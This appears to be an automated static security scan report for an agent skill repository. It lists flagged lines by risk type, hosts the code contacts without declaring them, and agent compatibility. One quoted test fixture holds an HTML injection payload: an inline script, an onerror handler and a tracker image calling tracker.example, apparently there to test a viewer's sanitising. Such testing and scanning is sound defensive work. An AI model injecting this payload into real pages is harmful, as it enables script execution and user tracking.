tests/test_sync_leak_scan.py
tests/test_viewer_hostile.py
- Executable scriptline 1
Executable file - Access to secretsline 31
[Credential-related source omitted] - Possible obfuscationline 45
+ chunk(b"IDAT", zlib.compress(b"\x00\xff\x00\x00")) - Network accessline 261
injected = ('<script>window.__pwned="inline"</script>' '<img src="x" onerror="window.__pwned=\'onerror\'">' '<img src="https://tracker.example/p.gif">') - Network accessline 262
'<img src="x" onerror="window.__pwned=\'onerror\'">' '<img src="https://tracker.example/p.gif">') page_html = exported["page"].replace('<div class="app-v3"', injected + '<div class="app-v3"', 1) - Network accessline 263
'<img src="https://tracker.example/p.gif">')
tools/sync_from_skill.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Network accessline 116
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Network accessline 117
' if not k:\n' ' raise RuntimeError("GEMINI_API_KEY is not set: create a key at https://aistudio.google.com/apikey "\n' ' "and export it, or use --via agy")\n' - Network accessline 118
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted]
tools/templates/ocr_bench_README.md
- Network accessline 74
# Surya (isolated venv) uv venv /path/to/surya-venv --python 3.12 uv pip install --python /path/to/surya-venv/bin/python torch --index-url https://download.pytorch.org/whl/cu124 - Network accessline 75
uv venv /path/to/surya-venv --python 3.12 uv pip install --python /path/to/surya-venv/bin/python torch --index-url https://download.pytorch.org/whl/cu124 uv pip install --python /path/to/surya-venv/bin/python surya-ocr pillow - Network accessline 76
uv pip install --python /path/to/surya-venv/bin/python torch --index-url https://download.pytorch.org/whl/cu124
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Declared and executed: 5 facts
- Contacts aistudio.google.com, which SKILL.md, the README and the plugin manifest do not mentionscripts/gemini_asr.py:90High confidence
- Contacts generativelanguage.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentionscripts/gemini_asr.py:120High confidence
- Contacts api.groq.com, which SKILL.md, the README and the plugin manifest do not mentionscripts/groq_asr.py:37High confidence
- Contacts console.groq.com, which SKILL.md, the README and the plugin manifest do not mentionscripts/groq_asr.py:148High confidence
- Contacts aistudio.google.com, which SKILL.md, the README and the plugin manifest do not mentiontools/sync_from_skill.py:118High confidence
Signal confidence: 250 facts
- Network access in prose of documentationCHANGELOG.md:3Low confidence
- Network access in prose of documentationCHANGELOG.md:4Low confidence
- Network access in prose of documentationCHANGELOG.md:8Low confidence
- Access to secrets in prose of documentationCHANGELOG.md:121Low confidence
- Network access in prose of documentationCHANGELOG.md:190Low confidence
- Network access in prose of documentationCHANGELOG.md:298Low confidence
- Network access in prose of documentationCHANGELOG.md:299Low confidence
- Network access in prose of documentationCHANGELOG.md:300Low confidence
- Network access in prose of documentationCHANGELOG.md:670Low confidence
- Network access in prose of documentationCHANGELOG.md:671Low confidence
- Network access in prose of documentationCHANGELOG.md:672Low confidence
- Network access in prose of documentationCHANGELOG.md:685Low confidence
- Network access in prose of documentationCHANGELOG.md:686Low confidence
- Network access in prose of documentationCHANGELOG.md:687Low confidence
- Network access in prose of documentationREADME.md:3Low confidence
- Access to secrets in prose of documentationREADME.md:197Low confidence
- Network access in prose of documentationREADME.md:220Low confidence
- Network access in prose of documentationREADME.md:221Low confidence
- Network access in prose of documentationREADME.md:222Low confidence
- Network access in prose of documentationREADME.md:223Low confidence
- Network access in code of documentationREADME.md:235Low confidence
- Network access in prose of documentationREADME.md:271Low confidence
- Network access in prose of documentationREADME.md:359Low confidence
- Network access in prose of documentationREADME.md:360Low confidence
- Network access in prose of documentationREADME.md:361Low confidence
- Network access in prose of documentationREADME.md:363Low confidence
- Network access in prose of documentationREADME.md:364Low confidence
- Network access in prose of documentationREADME.md:366Low confidence
- Network access in prose of documentationREADME.md:374Low confidence
- Network access in prose of documentationREADME.md:375Low confidence
- Network access in prose of documentationREADME.zh-TW.md:3Low confidence
- Access to secrets in prose of documentationREADME.zh-TW.md:126Low confidence
- Network access in code of documentationREADME.zh-TW.md:151Low confidence
- Network access in prose of documentationREADME.zh-TW.md:207Low confidence
- Network access in prose of documentationREADME.zh-TW.md:208Low confidence
- Network access in prose of documentationREADME.zh-TW.md:209Low confidence
- Network access in prose of documentationREADME.zh-TW.md:211Low confidence
- Network access in prose of documentationREADME.zh-TW.md:212Low confidence
- Network access in prose of documentationREADME.zh-TW.md:214Low confidence
- Network access in prose of documentationREADME.zh-TW.md:220Low confidence
- Network access in prose of documentationREADME.zh-TW.md:221Low confidence
- Broad permissions in the frontmatter of the SKILL.mdSKILL.md:1High confidence
- Access to secrets in prose of documentationSYNC-LEDGER.md:56Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueSYNC-LEDGER.md:57Low confidence
- Network access in prose of documentationdata/real_acronyms.txt:2237Low confidence
- Network access in prose of documentationdata/real_acronyms.txt:2238Low confidence
- Network access in code of documentationocr_bench/README.md:74Low confidence
- Network access in code of documentationocr_bench/README.md:75Low confidence
- Network access in code of documentationocr_bench/README.md:76Low confidence
- Executable script in prose of a file that runsocr_bench/adapters/paddleocr_vl_adapter.py:1Low confidence
and 200 more
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Compatible | Standard SKILL.md SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.